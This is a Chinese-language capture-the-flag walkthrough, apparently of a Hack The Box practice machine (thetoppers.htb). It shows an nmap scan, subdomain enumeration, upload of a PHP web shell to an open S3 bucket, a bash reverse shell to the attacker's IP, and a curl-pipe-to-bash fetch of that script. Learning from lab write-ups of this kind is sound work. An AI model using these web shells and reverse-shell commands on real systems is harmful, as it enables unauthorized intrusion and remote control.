首先连接到openvpn,然后进行nmap扫描

1
2
3
4
5
6
7
8
9
10
11
12
13
14
sudo nmap -sS -n -p- --open --min-rate=5000 10.129.253.132
得到结果
Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-21 14:07 CST
Stats: 0:00:03 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 21.50% done; ETC: 14:08 (0:00:11 remaining)
Stats: 0:00:10 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 71.01% done; ETC: 14:08 (0:00:04 remaining)
Nmap scan report for 10.129.253.132
Host is up (0.31s latency).
Not shown: 65524 closed tcp ports (reset), 9 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http

我们在80端口界面上看到image-20230521141228655

我们应该将thetoppers.hub添加到/etc/hosts里面去,因为/etc/hosts是在DNS查询之前先查询的用来将域名解析为ip的文件。

可以用如下命令添加

1
echo "10.129.253.132 thetoppers.htb" | sudu tee -a /etc/hosts 

之后就可以直接域名访问了。然后我们进行子域名扫描,这里采用gobuster爆破

1
gobuster vhost -w seclists子域名字典(github上有) -u http://thetoppers.htb

image-20230522101849779

之后我们可以看到s3.thetoppers.htb显示404,这代表存在这样的服务器,只不过内容不对而已。我们要访问s3的内容,所以也要手动添加解析

1
echo "10.129.253.132 s3.thetoppers.htb" | sudo tee -a /etc/hosts

这里的s3是一个云存储服务,运行在Amazon服务器上,我们需要awscli来与其交互

1
2
sudo apt install awscli
aws configure

image-20230522101913080

之后我们访问靶机上的S3服务

1
aws --endpoint=http://s3.thetoppers.htb s3 ls s3://thetoppers.htb

可以看到服务目录列表。

我们认为这就是根目录,所以可以试一下文件上传和远程执行漏洞,因为后端语言是PHP。

所以构造一个shell.php

1
echo '<?php system($_GET["cmd"]);?>' > shell.php

然后进行上传,注意如果用的是sudo登陆的s3服务,那么上传也要用sudo。

1
aws --endpoint=http://s3.thetoppers.htb s3 cp shell.php s3://thetoppers.htb

上传成功后执行尝试get传参

1
?cmd=id

发现有回显。

于是我们反弹shell。

构造一个回弹shell脚本shell.sh

1
2
#!/bin/bash
bash -i >& /dev/tcp/<our_ip>/1337 0>&1

也就是建立tcp连接,把我们的输入全定向到连接里面去,也就是传送到我们的主机上。

在主机上,开启监听

1
nc -nvlp 1337

之后在主机上开启一个http服务

1
python -m http.server 8000

image-20230522101834533

然后在目标url上传参执行回连

1
http://thetoppers.htb/shell.php?cmd=curl%20<our_ip>:8000/shell.sh|bash

这里也就是我们用curl访问到shell.sh文件的内容,并把这个内容pipe to bash进行执行。

在8000就可以看到我们对文件shell.sh的访问,(这种简单的起服务器的方法要比开一个nginx服务快捷,但是注意,要把shell.sh放在开起服务器的目录!)

image-20230522101822721